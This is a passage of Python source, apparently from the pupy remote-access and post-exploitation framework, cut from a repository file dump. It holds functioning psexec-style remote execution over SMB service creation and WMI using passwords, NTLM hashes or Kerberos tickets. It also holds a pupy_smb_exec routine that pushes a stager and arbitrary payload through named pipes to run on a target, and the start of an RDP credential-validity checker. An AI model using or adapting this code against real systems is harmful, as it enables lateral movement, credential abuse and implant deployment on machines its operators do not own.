= None\n\n    def __enter__(self):\n        pass\n\n    def __exit__(self, *args):\n        self.close()\n\n    def _cache_key_entry(self):\n        return (\n          self.host, self.user, self.password,\n          self.domain, self.lm, self.nt, self.aes,\n          self.kerberos\n        )\n\n    def create_wbem(self, namespace='//./root/cimv2', rpc_auth_level=None):\n        if self._wbem_conn:\n            return self._wbem_conn\n\n        key = None\n        if self._use_cache:\n            key = self._cache_key_entry()\n            if key in WBEM_SESSIONS_CACHE:\n                self._dcom_conn, self._wbem_conn = WBEM_SESSIONS_CACHE[key]\n                self._cached = True\n                return self._wbem_conn\n\n        dcom = DCOMConnection(\n            self.host, self.user, self.password, self.domain,\n            self.lm, self.nt, self.aes, oxidResolver=True,\n            doKerberos=self.kerberos\n        )\n\n        try:\n            iInterface = dcom.CoCreateInstanceEx(\n                wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login\n            )\n\n            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n\n            iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)\n\n            if rpc_auth_level == 'privacy':\n                iWbemServices.get_dce_rpc().set_auth_level(\n                    RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n\n            elif rpc_auth_level == 'integrity':\n                iWbemServices.get_dce_rpc().set_auth_level(\n                    RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n\n        except:\n            dcom.disconnect()\n            raise\n\n        self._dcom_conn = dcom\n        self._wbem_conn = iWbemServices\n\n        if key is not None:\n            WBEM_SESSIONS_CACHE[key] = self._dcom_conn, self._wbem_conn\n            self._cached = True\n\n        return self._wbem_conn\n\n    def create_pipe_dce_rpc(self, pipe, dialect=None):\n        rpc = None\n\n        rpc_transport = transport.DCERPCTransportFactory(\n            r'ncacn_np:{}[{}]'.format(self.host, pipe))\n        rpc_transport.set_dport(self.port)\n\n        if dialect:\n            rpc_transport.preferred_dialect(dialect)\n\n        rpc_transport.set_credentials(\n            self.user, self.password, self.domain,\n            self.lm, self.nt, self.aes,\n            self.TGT, self.TGS\n        )\n\n        if self._smb_conn:\n            rpc_transport.set_smb_connection(self._smb_conn)\n            rpc = rpc_transport.get_dce_rpc()\n        else:\n            key = None\n\n            rpc = rpc_transport.get_dce_rpc()\n            rpc.connect()\n\n            if key and key in SMB_SESSIONS_CACHE:\n                self._smb_conn = SMB_SESSIONS_CACHE[key]\n                rpc_transport.set_smb_connection(self._smb_conn)\n                self._cached = True\n                return rpc_transport.get_dce_rpc()\n\n            self._smb_conn = rpc_transport.get_smb_connection()\n\n            if key is not None:\n                SMB_SESSIONS_CACHE[key] = self._smb_conn\n                self._cached = True\n\n        return rpc\n\n    def create_smb_connection(self, force=False):\n        if self._smb_conn and not force:\n            return self._smb_conn\n\n        key = None\n\n        if self._use_cache and not force:\n            key = self._cache_key_entry()\n            if key in SMB_SESSIONS_CACHE:\n                self._smb_conn = SMB_SESSIONS_CACHE[key]\n                self._cached = True\n                return self._smb_conn\n\n        try:\n            smb = SMBConnection(\n                self.host, self.host, None, self.port, timeout=self.timeout\n            )\n\n            if self.kerberos:\n                smb.kerberos_login(\n                    self.user, self.password,\n                    self.domain, self.lm, self.nt,\n                    self.aes, self.KDC, self.TGT, self.TGS)\n            else:\n                smb.login(\n                    self.user, self.password, self.domain,\n                    self.lm, self.nt\n                )\n\n            self.valid = True\n\n            add_cred(\n                self.user, self.password, self.domain, 'smb',\n                self.host, None, self.port,\n                ntlm=self.ntlm, aes=self.aes,\n                tgt=self.TGT, tgs=self.TGS, kdc=self.KDC\n            )\n\n            if not force:\n                self._smb_conn = smb\n\n            if key is not None and not force:\n                SMB_SESSIONS_CACHE[key] = self._smb_conn\n\n            return smb\n\n        except SessionError as e:\n            raise PsExecException(e.getErrorString()[0])\n\n        except (OSError, socket.error) as e:\n            raise PsExecException(e)\n\n        except Exception as e:\n            error = '{}: {}\\n{}'.format(\n                type(e).__name__, e, traceback.format_exc()\n            )\n\n            raise PsExecException(error)\n\n\nclass SMBPipeObject(object):\n    __slots__ = ('conn', 'tid', 'fid')\n\n    def __init__(self, conn, tid, fid):\n        self.conn = conn\n        self.tid = tid\n        self.fid = fid\n\n    def write(self, data, wait=True):\n        try:\n            self.conn.writeNamedPipe(self.tid, self.fid, data, wait)\n        except SessionError as e:\n            if e.getErrorCode() == 0xc000014b:\n                return None\n            else:\n                raise\n\n    def read(self, amount=None):\n        try:\n            data = self.conn.readNamedPipe(self.tid, self.fid, amount)\n        except SessionError as e:\n            if e.getErrorCode() == 0xc000014b:\n                return None\n            else:\n                raise\n\n        return data\n\n\nclass FileTransfer(object):\n    __slots__ = (\n        '_exception', '_conn', '_cached'\n    )\n\n    def __init__(self, conn, cached=False):\n        self._exception = None\n        self._conn = conn\n        self._cached = cached\n\n    @property\n    def error(self):\n        if self.ok:\n            return None\n\n        te = type(self._exception)\n        if te in (UnicodeEncodeError, UnicodeDecodeError):\n            return 'Could not convert name to unicode. ' \\\n                'Use -c option to specify encoding'\n        elif te == SessionError:\n            error = self._exception.getErrorString()[1]\n            if isinstance(error, bytes):\n                error = error.decode(getdefaultencoding())\n            return error\n        else:\n            return te.__name__ + ': ' + str(self._exception)\n\n    @property\n    def ok(self):\n        return self._exception is None\n\n    @property\n    def info(self):\n        return self._conn.getServerOS()\n\n    def shares(self):\n        self._exception = None\n\n        try:\n            return [\n                as_unicode_string(\n                    x['shi1_netname'][:-1]\n                ) for x in self._conn.listShares()\n            ]\n\n        except Exception as e:\n            self._exception = e\n            return []\n\n    @contextmanager\n    def open_pipe(self, path, mode, timeout=600, shareMode=0):\n        tid = self._conn.connectTree('IPC$')\n        pipeReady = False\n\n        for _ in xrange(timeout):\n            try:\n                self._conn.waitNamedPipe(tid, '\\\\' + path)\n                pipeReady = True\n                break\n\n            except SessionError as e:\n                if e.getErrorCode() == 0xC0000034:\n                    time.sleep(1)\n                else:\n                    raise\n\n        if not pipeReady:\n            # Last try, will raise\n            self._conn.waitNamedPipe(tid, '\\\\' + path)\n\n        fid = self._conn.openFile(\n            tid, path, mode, shareMode=shareMode)\n\n        try:\n            yield SMBPipeObject(self._conn, tid, fid)\n        finally:\n            self._conn.closeFile(tid, fid)\n\n    def ls(self, share, path):\n        self._exception = None\n\n        try:\n            listing = []\n            for f in self._conn.listPath(share, path):\n                if f.get_longname() in ('.', '..'):\n                    continue\n\n                listing.append((\n                    try_as_unicode_string(\n                        f.get_longname(), fail=False\n                    ),\n                    f.is_directory() > 0,\n                    f.get_filesize(),\n                    as_unicode_string(\n                        time.ctime(float(f.get_mtime_epoch()))\n                    )\n                ))\n            return listing\n\n        except Exception as e:\n            self._exception = e\n            return []\n\n    def rm(self, share, path):\n        self._exception = None\n\n        try:\n            self._conn.deleteFile(share, path)\n        except Exception as e:\n            self._exception = e\n\n    def mkdir(self, share, path):\n        self._exception = None\n\n        try:\n            self._conn.createDirectory(share, path)\n        except Exception as e:\n            self._exception = e\n\n    def rmdir(self, share, path):\n        self._exception = None\n\n        try:\n            self._conn.deleteDirectory(share, path)\n        except Exception as e:\n            self._exception = e\n\n    def get(self, share, remote, local):\n        self._exception = None\n\n        if not self.ok:\n            raise ValueError('Connection was not established')\n\n        try:\n            if isinstance(local, basestring):\n                local = os.path.expandvars(local)\n                local = os.path.expanduser(local)\n\n                with open(local, 'wb') as destination:\n                    self._conn.getFile(\n                        share,\n                        remote,\n                        destination.write\n                    )\n            else:\n                self._conn.getFile(share, remote, local)\n\n        except Exception as e:\n            self._exception = e\n\n    def put(self, local, share, remote):\n        self._exception = None\n\n        if not self.ok:\n            raise ValueError('Connection was not established')\n\n        try:\n            if isinstance(local, basestring):\n                local = os.path.expandvars(local)\n                local = os.path.expanduser(local)\n\n                if not os.path.exists(local):\n                    raise ValueError(\n                        'Local file ({}) does not exists'.format(local)\n                    )\n\n                with open(local, 'rb') as source:\n                    self._conn.putFile(\n                        share,\n                        remote,\n                        source.read\n                    )\n            else:\n                self._conn.putFile(share, remote, local)\n\n        except Exception as e:\n            self._exception = e\n\n    def push_to_pipe(self, pipe, data, timeout=90):\n        with self.open_pipe(\n                pipe, FILE_WRITE_DATA | FILE_APPEND_DATA, timeout) as pipe:\n            # Write by small chunks (1.4 KB)\n            # Slow, but should work with crappy networks\n            for offset in xrange(0, len(data), 1400):\n                pipe.write(data[offset:offset+1400])\n\n    def close(self):\n        if self._conn and not self._cached:\n            self._conn.close()\n\n\nclass ShellServiceAlreadyExists(Exception):\n    pass\n\n\nclass ShellServiceIsNotExists(Exception):\n    pass\n\n\nclass ShellService(object):\n    __slots__ = (\n        '_scHandle', '_serviceHandle', '_scmr', '_name', '_command'\n    )\n\n    def __init__(self, rpc, name=SERVICE_NAME):\n        if not isinstance(name, bytes):\n            name = name.encode(sys.getfilesystemencoding())\n\n        self._name = name + b'\\x00'\n\n        self._scmr = rpc\n        self._scmr.bind(scmr.MSRPC_UUID_SCMR)\n\n        resp = scmr.hROpenSCManagerW(self._scmr)\n        self._scHandle = resp['lpScHandle']\n\n        self._serviceHandle = None\n        self._command = None\n\n        try:\n            resp = scmr.hROpenServiceW(self._scmr, self._scHandle, self._name)\n            self._serviceHandle = resp['lpServiceHandle']\n\n        except Exception as e:\n            if hasattr(e, 'error_code') and \\\n                    e.error_code == ERROR_SERVICE_DOES_NOT_EXIST:\n                pass\n            else:\n                raise\n\n    def create(self, command):\n        if self._serviceHandle:\n            raise ShellServiceAlreadyExists()\n\n        if not isinstance(command, bytes):\n            command = command.encode(\n                sys.getfilesystemencoding, errors='ignore'\n            )\n\n        if not command.endswith(b'\\x00'):\n            command += b'\\x00'\n\n        resp = scmr.hRCreateServiceW(\n            self._scmr,\n            self._scHandle,\n            self._name,\n            self._name,\n            lpBinaryPathName=command\n        )\n\n        self._command = command\n        self._serviceHandle = resp['lpServiceHandle']\n        return self._serviceHandle\n\n    def start(self):\n        if not self._serviceHandle:\n            raise ShellServiceIsNotExists()\n\n        try:\n            scmr.hRStartServiceW(self._scmr, self._serviceHandle)\n        except Exception as e:\n            if hasattr(e, 'error_code') and \\\n                    e.error_code == ERROR_SERVICE_REQUEST_TIMEOUT:\n                return False\n\n            raise\n\n    def status(self):\n        if not self._serviceHandle:\n            raise ShellServiceIsNotExists()\n\n        resp = scmr.hRQueryServiceStatus(self._scmr, self._serviceHandle)\n        return resp['lpServiceStatus']['dwCurrentState']\n\n    @property\n    def command(self):\n        return self._command\n\n    @property\n    def handle(self):\n        return self._serviceHandle\n\n    @property\n    def name(self):\n        return self._name\n\n    @property\n    def exists(self):\n        return self._serviceHandle is not None\n\n    @property\n    def active(self):\n        return self.status() == scmr.SERVICE_RUNNING\n\n    @property\n    def stopped(self):\n        return self.status() == scmr.SERVICE_STOPPED\n\n    def destroy(self):\n        if not self._serviceHandle:\n            raise ShellServiceIsNotExists()\n\n        try:\n            scmr.hRControlService(\n                self._scmr, self._serviceHandle,\n                scmr.SERVICE_CONTROL_STOP\n            )\n        except Exception as e:\n\n            try:\n                scmr.hRDeleteService(self._scmr, self._serviceHandle)\n            finally:\n                scmr.hRCloseServiceHandle(self._scmr, self._serviceHandle)\n                self._serviceHandle = None\n\n            if hasattr(e, 'error_code') and \\\n                    e.error_code == ERROR_SERVICE_NOT_ACTIVE:\n                pass\n            else:\n                raise\n\n\ndef create_filetransfer(*args, **kwargs):\n    try:\n        info = ConnectionInfo(*args, **kwargs)\n        smbc = info.create_smb_connection()\n        return FileTransfer(smbc, info.cached), None\n\n    except PsExecException as e:\n        return None, ' '.join([\n            e.as_unicode(kwargs.get('codepage', None)),\n            'CREDS: {}'.format(info.credentials)\n        ])\n\n\ndef sc(conninfo, command, output=True, on_data=None, on_exec=None):\n    rpc = conninfo.create_pipe_dce_rpc('\\\\pipe\\\\svcctl')\n    ft = None\n\n    payload = None\n    stdout = None\n    stager_pipe = None\n\n    if output:\n        argv0 = command\n        argv = []\n\n        if ' ' in command:\n            parts = command.split(' ', 1)\n            argv0, argv = parts[0], parts[1:]\n\n        payload, stdout, arg0, argv = generate_stdo_payload(argv0, argv)\n        command, stager_pipe = generate_stager_cmd(len(payload))\n\n        if on_data:\n            on_data(False, 'Wrapped: arg0={} argv={}'.format(arg0, argv))\n\n    if on_data:\n        on_data(False, 'Connected to svcctl')\n\n    starter = None\n    service = ShellService(rpc)\n\n    if on_data:\n        on_data(False, 'Connected to SCManager')\n\n    if service.exists:\n        if on_data:\n            on_data(False, 'Delete existing service')\n\n        service.destroy()\n\n    if command.startswith(('cmd ', 'cmd.exe')):\n        # zOMG Need to have double encoded shit\n        # In other cases some God-Knows-What happend with pipes/stdo etc\n        command = 'cmd.exe /Q /D /S /c \"' + command.replace(\n            '\"', '^\"'\n        ).replace(\n            '|', '^|'\n        ) + '\"'\n\n    if not service.create(command):\n        raise PsExecException('Could not create service')\n\n    try:\n        if on_data:\n            on_data(False, 'Service {} created (command={} len={})'.format(\n                service.name, service.command, len(service.command)))\n\n        timeout = None\n\n        if conninfo.timeout:\n            timeout = time.time() + conninfo.timeout\n\n        output_data = []\n\n        if output:\n            # Service start will block, so we'll do that in separate thread\n            starter = Thread(target=service.start)\n            starter.daemon = True\n            starter.start()\n\n            if on_data:\n                on_data(\n                    False, 'Service {} (hopefully) started'.format(\n                        service.name\n                    )\n                )\n\n            ft = FileTransfer(\n                conninfo.create_smb_connection(\n                    # We need new connection, because previous one is blocked\n                    force=True\n                ), False\n            )\n\n            if on_data:\n                on_data(False, 'New connection to {}'.format(ft.info))\n\n            try:\n                if on_data:\n                    on_data(\n                        False, 'Connecting to stager (pipe={})'.format(\n                            stager_pipe\n                        )\n                    )\n\n                with ft.open_pipe(\n                    stager_pipe, FILE_WRITE_DATA | FILE_APPEND_DATA,\n                        conninfo.timeout) as pipe:\n                    if on_data:\n                        on_data(False, 'Connected to the stager pipe')\n\n                    pipe.write(payload)\n\n                if on_exec:\n                    on_exec(ft)\n\n                if on_data:\n                    on_data(False, 'Connecting to stdout (pipe={})'.format(stdout))\n\n                with ft.open_pipe(stdout, FILE_READ_DATA, conninfo.timeout) as pipe:\n                    if on_data:\n                        on_data(False, 'Connected to stdout')\n\n                    while True:\n                        chunk = pipe.read(1024)\n                        if not chunk:\n                            break\n\n                        if '\\r\\n' in chunk:\n                            chunk = chunk.replace('\\r\\n', '\\n')\n\n                        if on_data:\n                            on_data(True, chunk)\n                        else:\n                            output_data.append(chunk)\n\n                        if timeout is not None and time.time() >= timeout:\n                            break\n            finally:\n                ft.close()\n\n        else:\n            if on_exec:\n                starter = Thread(target=service.start)\n                starter.daemon = True\n                starter.start()\n\n                ft = FileTransfer(\n                    conninfo.create_smb_connection(\n                        # We need new connection, because previous one is blocked\n                        force=True\n                    ), False\n                )\n\n                try:\n                    on_exec(ft)\n                finally:\n                    ft.close()\n            else:\n                service.start()\n\n    finally:\n        if starter is not None:\n            if on_data:\n                on_data(False, 'Waiting start completion {}'.format(service.name))\n\n            starter.join()\n\n        if on_data:\n            on_data(False, 'Destroying service {}'.format(service.name))\n\n        try:\n            service.destroy()\n        except Exception as e:\n            if on_data:\n                on_data(False, 'SC destroy failed: {}'.format(e))\n\n            pass\n\n    if on_data:\n        on_data(False, 'SC complete')\n\n    return ''.join(output_data), ft\n\n\ndef wmiexec(conninfo, command, output=True, on_data=None, on_exec=None):\n    timeout = None\n\n    if conninfo.timeout:\n        timeout = time.time() + conninfo.timeout\n\n    iWbemServices = conninfo.create_wbem()\n\n    if on_data:\n        on_data(False, 'Connected to WMI')\n\n    win32Process, _ = iWbemServices.GetObject('Win32_Process')\n\n    output_data = []\n    ft = None\n\n    if output:\n        parts = command.split(' ', 1)\n        argv0, argv = parts[0], parts[1:]\n\n        payload, stdout, arg0, argv = generate_stdo_payload(argv0, argv)\n        if on_data:\n            on_data(False, 'Wrapped: arg0={} argv={}'.format(arg0, argv))\n\n        stager, stager_pipe = generate_stager_cmd(len(payload))\n\n        ft = FileTransfer(\n            conninfo.create_smb_connection(), conninfo.cached\n        )\n\n        iResultClassObject = win32Process.Create(stager, 'C:\\\\', None)\n        result = iResultClassObject.ReturnValue\n        if result:\n            raise PsExecException('Win32_Process.Create failed: {}'.format(result))\n\n        if on_data:\n            on_data(False, '{} -> {}'.format(stager, iResultClassObject.ProcessId))\n\n        if on_data:\n            on_data(False, 'Connecting to the stager pipe (pipe={})'.format(stager_pipe))\n\n        with ft.open_pipe(stager_pipe, FILE_WRITE_DATA | FILE_APPEND_DATA, conninfo.timeout) as pipe:\n            if on_data:\n                on_data(False, 'Connected to the stager pipe')\n\n            pipe.write(payload)\n\n        if on_exec:\n            ft = FileTransfer(\n                conninfo.create_smb_connection(), conninfo.cached\n            )\n\n            on_exec(ft)\n\n        if on_data:\n            on_data(False, 'Connecting to stdout (pipe={})'.format(stdout))\n\n        with ft.open_pipe(stdout, FILE_READ_DATA, conninfo.timeout) as pipe:\n            if on_data:\n                on_data(False, 'Connected to stdout')\n\n            while True:\n                chunk = pipe.read(1024)\n                if not chunk:\n                    break\n\n                if on_data:\n                    on_data(True, chunk)\n                else:\n                    output_data.append(chunk)\n\n                if timeout is not None and time.time() >= timeout:\n                    break\n    else:\n        iResultClassObject = win32Process.Create(command, 'C:\\\\', None)\n\n        if iResultClassObject.ReturnValue:\n            raise PsExecException(\n            'Win32_Process.Create failed: {}'.format(iResultClassObject.ReturnValue))\n        elif on_data:\n            if on_data:\n                on_data(False, '{} -> {}'.format(command, iResultClassObject.ProcessId))\n\n        if on_exec:\n            ft = FileTransfer(\n                conninfo.create_smb_connection(), conninfo.cached\n            )\n\n            on_exec(ft)\n\n    return ''.join(output_data), ft\n\n\ndef wql(\n    host, port, user, domain, password, ntlm,\n        query, timeout=30, namespace='//./root/cimv2', rpc_auth_level=None):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    with conninfo:\n        iWbemServices = conninfo.create_wbem(namespace, rpc_auth_level)\n        iEnumWbemClassObject = iWbemServices.ExecQuery(query.strip())\n\n        first = True\n        columns = None\n\n        try:\n            result = []\n            while True:\n                try:\n                    pEnum = iEnumWbemClassObject.Next(0xffffffff,1)[0]\n                    header = pEnum.getProperties()\n                    if first:\n                        columns = tuple(x for x in header)\n                        first = False\n\n                    item = [None]*len(columns)\n\n                    for idx, key in enumerate(columns):\n                        if type(header[key]['value']) is list:\n                            item[idx] = tuple([\n                                value for value in header[key]['value']\n                            ])\n                        else:\n                            item[idx] = header[key]['value']\n\n                    result.append(item)\n\n                except Exception as e:\n                    if str(e).find('S_FALSE') < 0:\n                        raise\n                    else:\n                        break\n\n            return columns, tuple(result)\n\n        finally:\n            iEnumWbemClassObject.RemRelease()\n\n\ndef check(host, port, user, domain, password, ntlm, timeout=30):\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    try:\n        with conninfo:\n            conninfo.create_smb_connection()\n    except:\n        return False\n\n    return True\n\n\ndef _psexec(\n    conninfo, command, execm='smbexec',\n        codepage=None, output=True,\n        on_exec=None, on_data=None, on_complete=None, verbose=False):\n\n    if on_data and verbose:\n        on_data('PSExec thread started')\n\n    def _on_data(is_output, data):\n        if data:\n            if codepage:\n                data = data.decode(codepage)\n\n            if is_output or verbose:\n                on_data(data)\n\n    try:\n        with conninfo:\n            if execm == 'smbexec':\n                sc(\n                    conninfo, command, output, _on_data if on_data else None,\n                    on_exec\n                )\n\n            elif execm == 'wmi':\n                wmiexec(\n                    conninfo, command, output, _on_data if on_data else None,\n                    on_exec\n                )\n\n            else:\n                raise ValueError('Unknown execution method, knowns are smbexec/wmi')\n\n    except PsExecException as e:\n        if on_complete:\n            on_complete(e.as_unicode(codepage))\n\n    except SessionError as e:\n        if on_complete:\n            on_complete('{}:{} {}'.format(conninfo.host, conninfo.port, e))\n\n    except Exception as e:\n        if on_complete:\n            on_complete(\n                '{}:{} {}: {}\\n{}'.format(\n                    conninfo.host,\n                    conninfo.port,\n                    type(e).__name__, e,\n                    traceback.format_exc()))\n\n    finally:\n        if on_data and verbose:\n            on_data('PSExec thread completed')\n\n        if on_complete:\n            on_complete(None)\n\n\ndef psexec(\n        host, port,\n        user, domain,\n        password, ntlm,\n        command, execm='smbexec',\n        codepage=None, timeout=30, output=True, on_exec=None,\n        on_data=None, on_complete=None, verbose=False):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    worker = Thread(\n        target=_psexec,\n        args=(\n            conninfo,\n            command, execm, codepage, output,\n            on_exec, on_data, on_complete, verbose\n        )\n    )\n    worker.daemon = True\n    worker.start()\n\n\ndef get_cache():\n    if USE_CACHE is not True:\n        raise ValueError('Cache disabled')\n\n    keys = set()\n    keys.update(tuple(x) for x in SMB_SESSIONS_CACHE)\n    keys.update(tuple(x) for x in WBEM_SESSIONS_CACHE)\n\n    return tuple(keys)\n\n\ndef clear_session_caches():\n    for session in SMB_SESSIONS_CACHE.values():\n        try:\n            session.close()\n        except Exception:\n            pass\n\n    for dcom, wbem in WBEM_SESSIONS_CACHE.values():\n        try:\n            wbem.RemRelease()\n        except Exception:\n            pass\n\n        try:\n            dcom.disconnect()\n        except Exception:\n            pass\n\n    SMB_SESSIONS_CACHE.clear()\n    WBEM_SESSIONS_CACHE.clear()\n\n\ndef set_use_cache(use_cache):\n    global USE_CACHE\n    USE_CACHE = use_cache\n\n    if use_cache is False:\n        clear_session_caches()\n\n\ndef pupy_smb_exec(\n    host, port, user, domain, password, ntlm, payload,\n        execm='smbexec', timeout=90, log_cb=None):\n\n    size = len(payload)\n\n    loader_payload, loader_pipename = generate_loader_payload(size)\n    stager_cmd, stager_pipename = generate_stager_cmd(len(loader_payload))\n\n    def _psexec_log(data):\n        if log_cb:\n            log_cb(None, data)\n\n    def _loader():\n        if log_cb:\n            log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format(\n                loader_pipename, size, md5(payload).hexdigest()))\n\n        def _on_complete(error):\n            if log_cb:\n                if error:\n                    log_cb(False, 'PSExec failed: {}'.format(error))\n                else:\n                    log_cb(True, 'PSExec: process exited')\n\n        def _push_payload(ft):\n            if log_cb:\n                log_cb(None, 'Connected to {}:{} (user={}, os={})'.format(\n                    host, port, ((domain + '\\\\') if domain else '') + user,\n                    ft.info))\n\n            try:\n                ft.push_to_pipe(stager_pipename, loader_payload, timeout=timeout)\n                if log_cb:\n                    log_cb(None, 'Stager flushed')\n\n            except Exception as e:\n                if log_cb:\n                    import traceback\n                    log_cb(None, '{}: {}'.format(\n                        e, traceback.format_exc()))\n\n                return\n\n            try:\n                ft.push_to_pipe(loader_pipename, payload, timeout=timeout)\n                if log_cb:\n                    log_cb(None, 'Payload flushed')\n\n            except Exception as e:\n                if log_cb:\n                    import traceback\n                    log_cb(None, '{}: {}'.format(\n                        e, traceback.format_exc()))\n\n        try:\n            conninfo = ConnectionInfo(\n                host, port, user, domain, password, ntlm, timeout=timeout\n            )\n\n            _psexec(\n                conninfo,\n                stager_cmd, execm=execm,\n                output=False,\n                on_exec=_push_payload,\n                on_data=_psexec_log,\n                on_complete=_on_complete,\n                verbose=True\n            )\n\n        except Exception as e:\n            if log_cb:\n                import traceback\n                log_cb(\n                    False, 'Communication failed: {} {} {} {})'.format(\n                        e, type(e), dir(e), traceback.format_exc()))\n\n    worker = Thread(\n        target=_loader,\n        name='PowerLoader [smb] (stager pipe={}, loader pipe={}, timeout={})'.format(\n            stager_pipename, loader_pipename, timeout)\n    )\n    worker.daemon = True\n    worker.start()\n\n    return stager_cmd, loader_pipename\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/rdp_check.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#  Alberto Solino (@agsolino)\n#\n# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation\n#              just to reach CredSSP auth. This example test whether\n#              an account is valid on the target host.\n#\n# ToDo:\n#    [x] Manage to grab the server's SSL key so we can finalize the whole\n#        authentication process (check [MS-CSSP] section 3.1.5)\n#\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom struct import pack, unpack\nfrom struct import error as struct_error\n\n# from impacket.examples import logger\nfrom impacket.structure import Structure\nfrom impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode\n# import logging\nfrom binascii import a2b_hex\nfrom Crypto.Cipher import ARC4\nfrom impacket import ntlm\n\nfrom pupy.network.lib.scan import scanthread_parse\n\nTDPU_CONNECTION_REQUEST  = 0xe0\nTPDU_CONNECTION_CONFIRM  = 0xd0\nTDPU_DATA                = 0xf0\nTPDU_REJECT              = 0x50\nTPDU_DATA_ACK            = 0x60\n\n# RDP_NEG_REQ constants\nTYPE_RDP_NEG_REQ = 1\nPROTOCOL_RDP     = 0\nPROTOCOL_SSL     = 1\nPROTOCOL_HYBRID  = 2\n\n# RDP_NEG_RSP constants\nTYPE_RDP_NEG_RSP = 2\nEXTENDED_CLIENT_DATA_SUPPORTED = 1\nDYNVC_GFX_PROTOCOL_SUPPORTED   = 2\n\n# RDP_NEG_FAILURE constants\nTYPE_RDP_NEG_FAILURE                  = 3\nSSL_REQUIRED_BY_SERVER                = 1\nSSL_NOT_ALLOWED_BY_SERVER             = 2\nSSL_CERT_NOT_ON_SERVER                = 3\nINCONSISTENT_FLAGS                    = 4\nHYBRID_REQUIRED_BY_SERVER             = 5\nSSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6\n\nclass TPKT(Structure):\n    commonHdr = (\n            ('Version','B=3'),\n            ('Reserved','B=0'),\n            ('Length','>H=len(TPDU)+4'),\n            ('_TPDU','_-TPDU','self[\"Length\"]-4'),\n            ('TPDU',':=\"\"'),\n    )\n\nclass TPDU(Structure):\n    commonHdr = (\n            ('LengthIndicator','B=len(VariablePart)+1'),\n            ('Code','B=0'),\n            ('VariablePart',':=\"\"'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        self['VariablePart']=''\n\nclass CR_TPDU(Structure):\n    commonHdr = (\n            ('DST-REF','<H=0'),\n            ('SRC-REF','<H=0'),\n            ('CLASS-OPTION','B=0'),\n            ('Type','B=0'),\n            ('Flags','B=0'),\n            ('Length','<H=8'),\n    )\n\nclass DATA_TPDU(Structure):\n    commonHdr = (\n            ('EOT','B=0x80'),\n            ('UserData',':=\"\"'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        self['UserData'] =''\n\n\nclass RDP_NEG_REQ(CR_TPDU):\n    structure = (\n            ('requestedProtocols','<L'),\n    )\n\n    def __init__(self,data=None):\n        CR_TPDU.__init__(self,data)\n        if data is None:\n            self['Type'] = TYPE_RDP_NEG_REQ\n\nclass RDP_NEG_RSP(CR_TPDU):\n    structure = (\n            ('selectedProtocols','<L'),\n    )\n\nclass RDP_NEG_FAILURE(CR_TPDU):\n    structure = (\n            ('failureCode','<L'),\n    )\n\nclass TSPasswordCreds(GSSAPI):\n    # TSPasswordCreds ::= SEQUENCE {\n    #         domainName  [0] OCTET STRING,\n    #         userName    [1] OCTET STRING,\n    #         password    [2] OCTET STRING\n    # }\n    def __init__(self, data=None):\n        GSSAPI.__init__(self,data)\n        del self['UUID']\n\n    def getData(self):\n        asn = pack('B', ASN1_SEQUENCE)\n        asn += asn1encode(\n            pack('B', 0xa0) + \\\n            asn1encode(\n                pack('B', ASN1_OCTET_STRING) + \\\n                asn1encode(self['domainName'].encode('utf-16le'))) + \\\n            pack('B', 0xa1) + \\\n            asn1encode(\n                pack('B', ASN1_OCTET_STRING) + \\\n                asn1encode(\n                    self['userName'].encode('utf-16le'))) + \\\n            pack('B', 0xa2) + \\\n            asn1encode(\n                pack('B', ASN1_OCTET_STRING) + \\\n                asn1encode(self['password'].encode('utf-16le'))))\n\n        return asn\n\nclass TSCredentials(GSSAPI):\n    # TSCredentials ::= SEQUENCE {\n    #        credType    [0] INTEGER,\n    #        credentials [1] OCTET STRING\n    # }\n    def __init__(self, data=None):\n        GSSAPI.__init__(self,data)\n        del self['UUID']\n\n    def getData(self):\n        # Let's pack the credentials field\n        credentials = pack('B',0xa1)\n        credentials += asn1encode(\n            pack('B',ASN1_OCTET_STRING) + \\\n            asn1encode(self['credentials']))\n\n        asn = pack('B',ASN1_SEQUENCE)\n        asn += asn1encode(\n            pack('B', 0xa0) + \\\n            asn1encode(\n                pack('B', 0x02) + \\\n                asn1encode(\n                    pack('B', self['credType']))) + credentials)\n\n        return asn\n\nclass TSRequest(GSSAPI):\n    # TSRequest ::= SEQUENCE {\n    #   version     [0] INTEGER,\n    #       negoTokens  [1] NegoData OPTIONAL,\n    #       authInfo    [2] OCTET STRING OPTIONAL,\n    #   pubKeyAuth  [3] OCTET STRING OPTIONAL,\n    #}\n    # NegoData ::= SEQUENCE OF SEQUENCE {\n    #        negoToken [0] OCTET STRING\n    #}\n    #\n\n    def __init__(self, data=None):\n        GSSAPI.__init__(self,data)\n        del self['UUID']\n\n    def fromString(self, data = None):\n        next_byte = unpack('B',data[:1])[0]\n        if next_byte != ASN1_SEQUENCE:\n            raise Exception('SEQUENCE expected! (%x)' % next_byte)\n        data = data[1:]\n        decode_data, total_bytes = asn1decode(data)\n\n        next_byte = unpack('B',decode_data[:1])[0]\n        if next_byte != 0xa0:\n            raise Exception('0xa0 tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        next_bytes, total_bytes = asn1decode(decode_data)\n        # The INTEGER tag must be here\n        if unpack('B',next_bytes[0])[0] != 0x02:\n            raise Exception('INTEGER tag not found %r' % next_byte)\n        next_byte, _ 